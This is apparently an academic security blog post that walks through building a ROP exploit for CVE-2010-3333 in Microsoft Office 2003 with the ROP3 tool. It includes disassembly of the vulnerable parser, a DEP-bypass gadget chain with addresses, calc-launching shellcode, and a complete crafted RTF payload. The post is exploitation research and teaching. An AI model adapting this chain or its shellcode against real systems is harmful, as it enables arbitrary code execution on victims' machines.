TL;DR We show how to use the ROP3
tool to build a user-defined Return-Oriented-Programming (ROP) exploit for a(n old, but gold!) Microsoft Office vulnerability. This tool was presented as part of our contribution in WOOT’21 “Evaluation of the Executional Power in Windows using Return Oriented Programming” (you can read more about this work in this other post). In particular, we focus on CVE-2010-3333, a stack-based buffer overflow in Microsoft Office that allows attackers to execute arbitrary code through a crafted RTF file. Our exploit relies on ROP to first disable NX (also called W^X) protection at the Windows process level and then pop up a Calc
process (yeah, as simple as it sounds, sorry!).
Introduction
As explained in this previous post, the ROP3 tool is developed in Python and relies on the Capstone disassembly framework to find gadgets, operations, and ROP chains.
ROP3 natively supports the virtual operations that make up ROPLANG, which is a virtual language that we created to represent a ROP chain in an abstract way. In particular, ROPLANG defines a set of operations (arithmetic, assignment, dereferencing, logical, and branching/unbranching operations) that are then mapped to specific ROP gadgets.
ROP3 version 1.0 has been recently released, incorporating a bunch of updates:
- Notification of side-effects (e.g., if gadget alters
esp
). Now it takes them into account when building ropchains. - Removing duplicates now shows how many of the same gadgets were found in different addresses.
- New
badchar
option to remove certain bytes from gadget addresses.
In what follows, we will show how the ROP3
tool can be used to automatically generate a user-defined ROP chain using a real vulnerability as a case study.
CVE-2010-3333: an Old, but Gold MS Office Vulnerability!
As a case study, we consider the Microsoft Office vulnerability CVE-2010-3333, which affected Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, and Office for Mac 2011. This vulnerability was disclosed in September 2010 and later patched in MS10-087 (released in November 09, 2010). Despite this timely response from Microsoft, this vulnerability was used to great effect in November 2012 to attack NATO’s Special Operations Headquarters, as well as a critical infrastructure company. These attacks were conducted via spear phishing attaching a specially crafted Rich Text Format (RFT) document exploiting the vulnerability, allowing the attackers to execute arbitrary code through a stack-based buffer overflow. You can read this document to learn more about the different forms of this exploit and how the exploit files have evolved.
The Rich Text Format (RTF) is a file format developed by Microsoft to facilitate the exchange of text files between different word processors. An RTF file starts with the frtf1
tag and is made up of plain text, control words, control symbols, and groups within braces. The CVE-2010-3333 is exploited through the pFragments
property, which is an optional property of geometry shapes to describe multiple paths and parts within a shape. This property is defined in the RTF specification as:
{\shp{\sp{\sn pFragments}{\sv value}}}
The value type of pFragments
is an array value. In the RTF file format, arrays are formatted as a sequence of numbers separated by semicolons. The first number indicates the size (in bytes) of each element in the array. Valid numbers are 2, 4, or 8, according to the RTF specification. When the element size is 8, each element is represented as a group of two numbers. The second number indicates the number of elements in the array.
As for the CVE-2010-3333 vulnerability, it is found in the file MSO.DLL
, which is a component of the Microsoft Office suite. In this post, we focus on the file MSO.DLL
version 11.0.5606 and MD5 251C11444F614DE5FA47ECF7275E7BF1
, shipped with the Microsoft Office 2003 suite.
The code snippet responsible for parsing the pFragments
and triggering the stack-based buffer overflow is located at 0x30f4cc5d
:
0x30f4cc5d push ebp
0x30f4cc5e mov ebp, esp
0x30f4cc60 sub esp, 0x14
(...)
0x30f4cc93 call dword [eax + 0x1c] ; calls to MSO.30e9eb62
0x30f4cc96 mov eax, dword [ebp + 0x14]
0x30f4cc99 push dword [ebp + 0x18]
0x30f4cc9c mov edx, dword [ebp - 0x10]
0x30f4cc9f neg eax
0x30f4cca1 sbb eax, eax
0x30f4cca3 lea ecx, [ebp - 8]
0x30f4cca6 and eax, ecx
0x30f4cca8 push eax
0x30f4cca9 push dword [ebp + 8]
0x30f4ccac call 0x30f4cb1d
0x30f4ccb1 test al, al
0x30f4ccb3 je 0x30f4cd51
(...)
0x30f4cd51 pop esi
0x30f4cd52 pop ebx
0x30f4cd53 pop edi
0x30f4cd54 leave
0x30f4cd55 ret 0x14
The first number of the pFragments
value must be an invalid number according to the RTF specification (that is, different from 2, 4, or 8) to trigger the vulnerability. Line 5 calls the function 0x30e9eb62
, which effectively produces the stack-based overflow vulnerability. This function is fully listed below:
0x30e9eb62 push edi
0x30e9eb63 mov edi, dword [esp + 0xc]
0x30e9eb67 test edi, edi
0x30e9eb69 je 0x30e9eb92
0x30e9eb6b mov eax, dword [esp + 8]
0x30e9eb6f mov ecx, dword [eax + 8]
0x30e9eb72 and ecx, 0xffff
0x30e9eb78 push esi
0x30e9eb79 mov esi, ecx
0x30e9eb7b imul esi, dword [esp + 0x14]
0x30e9eb80 add esi, dword [eax + 0x10]
0x30e9eb83 mov eax, ecx
0x30e9eb85 shr ecx, 2
0x30e9eb88 rep movsd es:[edi], dword ptr [esi]
0x30e9eb8a mov ecx, eax
0x30e9eb8c and ecx, 3
0x30e9eb8f rep movsb es:[edi], byte ptr [esi]
0x30e9eb91 pop esi
0x30e9eb92 pop edi
0x30e9eb93 ret 0xc
The binary code of this function is very similar to a memcpy()
inline function: it receives two parameters, the first is a pointer that points to the content of the pFragments
value; while the second parameter is a buffer located on the stack. Those values are eventually loaded into the esi
and edi
registers, respectively (lines 2 and 9), and the buffer overflow finally occurs via the rep movsd
instruction on line 14. Although the function shown above ends normally, an attacker can modify the return address of the called function using a specially crafted RTF file. That is, the hijacking of the control-flow occurs after the execution of the ret
instruction.
Let us finally recall that the call
instruction on line 15 of 0x30f4cc5d
does some processing on the content of the pFragments
value, so it must be executed without errors to successfully reach the end of the triggering function.
Using ROPLANG to Create our ROP Chain
As a victim model, we consider that the workstations are running the Windows 7 SP1 Professional 32-bit operating system and Microsoft Word 2003 version 11.5604.5606. In addition, enforced by the organization security policies, W^X protection (called Data Execution Prevention in Windows) is always on, regardless of whether or not applications are compiled with this defense in place.
Therefore, to successfully exploit this vulnerability, the attacker must first defeat the W^X protection. To do so, the attacker will build a ROP chain. The easiest way is to make use of the SetProcessDEPPolicy()
API, a Windows API that changes the W^X policy of a running process. This function receives a flag value that indicates whether the W^X policy should be disabled or enabled for the current process. After disabling the W^X policy, the attacker can successfully bypass control-flow execution to the process stack. This means that the stack pointer register value (stored in esp
) must be known beforehand. However, this knowledge is rare in practical scenarios, since stack addresses are generally randomized upon execution. To deal with this issue, the attacker can make use of the pushad
instruction, which pushes the contents of the CPU general-purpose registers onto the stack in the following order: eax
, ecx
, edx
, ebx
, esp
(original value), ebp
, esi
, and edi
. After the execution of pushad
, the esp
value is modified accordingly.
Let us illustrate how pushad
works with an example. Suppose the state of the CPU general-purpose registers is as follows, just before executing the pushad
instruction:
register | value |
---|---|
eax | 0x00000000 |
ecx | 0x11111111 |
edx | 0x22222222 |
ebx | 0x33333333 |
esp | 0xCAFEBABE |
ebp | 0x44444444 |
esi | 0x55555555 |
edi | 0x66666666 |
pushad
)Once the pushad
instruction is executed, the stack contains the following:
esp -> |
|
| |
| |
0xCAFEBABE | |
| |
| |
| |
0x00000000 |
pushad
)As you can see, the stack pointer moves up (well, down, as the stack grows to lower memory addresses). Hence, once the pushad
instruction is executed we can directly divert the control-flow of the program by setting the appropriate values in the CPU registers.
For the sake of simplicity, as an adversary model we assume that the attacker knows any WinAPI address of their interest, such as the address of the SetProcessDEPPolicy()
function (for instance, through a memory leak from the victim’s workstation), as well as the base address of the MSO.DLL
file at the time of exploitation.
In summary, the ROP chain will perform the following actions:
- Set the values of the CPU general-purpose registers appropriately, before executing
pushad
. - Execute
SetProcessDEPPolicy()
, just after the execution of thepushad
instruction. - Divert the control-flow of the vulnerable program to the stack.
We can build our ROP chain to find the ROP gadgets that are available to set the appropriate values in the registers using ROPLANG:
First, we need to load the edi
and esi
registers with a NOP gadget. Note that the values of these registers will be the addresses to which the control-flow will be redirected after the execution of pushad
. Hence, we will look for a nop()
operation, as well as lc(edi)
and lc(esi)
to pull two values from the stack to the registers:
nop()
lc(edi)
lc(esi)
Note that the nop()
operation is not native to ROPLANG. Fortunately, we can define it very easily using YAML syntax (in the rop3
‘s gadgets/user_defined.yaml
file):
nop:
# ret
- # each operations can be composed of several sets
- mnemonic: ret
Next, we need to load the address of SetProcessDEPPolicy()
in the ebp
register. To do this, we just need a “load constant” operation on ebp
:
lc(ebp)
We then need to load a zero value into the ebx
register. Note that we can use zero bytes in our ROP chain with no problem, as this is a valid byte in this case. This value will in fact be the parameter of the call to SetProcessDEPPolicy()
once the control flow reaches this API (see the contents of the stack above: once SetProcessDEPPolicy()
begins its execution, the return address and the parameters are naturally pointed by the stack pointer):
lc(ebx)
The values of the other CPU registers do not matter. To finish, we need a pushad; ret
ROP gadget to execute the pushad
instruction and then achieve the successful exploitation as explained above. As before, this is not a native ROPLANG operation and hence we need to define our own operation in the user_defined.yaml
file of ROP3
. In particular, this gadget can be defined as:
pushad:
- # just pushad
- mnemonic: pushal
Note that the mnemonic is pushal
, since the pushad
instruction is defined with this mnemonic in Capstone, the disassembler on which ROP3 is based.
Stitching All Together…
Once that we have our ROP chain ready, we can run the ROP3
tool to search for the available gadgets. Apart from the ROP chain, we have chosen a depth value of 2 (to limit the ROP gadget size to just 2 bytes) and have avoided gadgets that end in the retf
instruction. As the search space, we have used the own MSO.DLL
file:
$ python3 rop3.py --binary ~/MSO.DLL --ropchain rop_chain.txt --depth 2 --noretf
================================================================================
Ropchain 1
================================================================================
nop()
[MSO.DLL @ 0x30c92448]: ret (x33616)
lc(edi)
[MSO.DLL @ 0x30cae25c]: pop edi ; ret (x179)
lc(esi)
[MSO.DLL @ 0x30ca32fd]: pop esi ; ret (x4668)
lc(ebx)
[MSO.DLL @ 0x30ca3654]: pop ebx ; ret (x1047)
lc(ebp)
[MSO.DLL @ 0x30ca32d1]: pop ebp ; ret (x230)
pushad()
[MSO.DLL @ 0x30ce03b5]: pushal ; ret (x14)
So, we were lucky this time! We have found enough gadgets in this file for each operation in our ROP chain. As a shellcode, we are going to use a simple shellcode that pops up a Calc
application:
33C0 xor eax, eax
50 push eax
6863616C63 push 'calc'
8BC4 mov eax, esp
6A05 push SW_SHOW
50 push eax
BFFDE53377 mov edi, kernel32.WinExec
FFD7 call edi
Now we can build our RTF file as follows (the text after the dash symbol is added to aid understanding, you will need to remove it!):
{\rtf1{\shp{\sp{\sn pFragments}{\sv 1;4;010
0020000014141414141414141414141414141414141414141 # padding
4824c930 # ret
0000000000000000000000000000000000000000
5ce2ca30 # pop edi; ret
4824c930 # ret
fd32ca30 # pop esi; ret
4824c930 # ret
5436ca30 # pop ebx; ret
00000000
d132ca30 # pop ebp; ret
2f602e77 # @SetProcessDEPPolicy()
b503ce30 # pushal; ret
33c0506863616c638bc46a0550bffde53377ffd7 # our shellcode :)
}}}}
Finally, we can just double click on the RTF file and…
Voilà! As you see, a new Calc
process appears whose parent process is WINWORD
. So, our exploit has been a success!
And… that’s all, folks! In this post, we have revisited our ROP3
tool and introduced how we can build a ROP chain using ROPLANG operations. Additionally, we have also shown how user-defined ROP gadgets can be added into ROPLANG operations to meet our exploitation goals. Recall that we are open to new ideas and collaborations to investigate offensive security, do not hesitate to contact us about it!
1 Pingback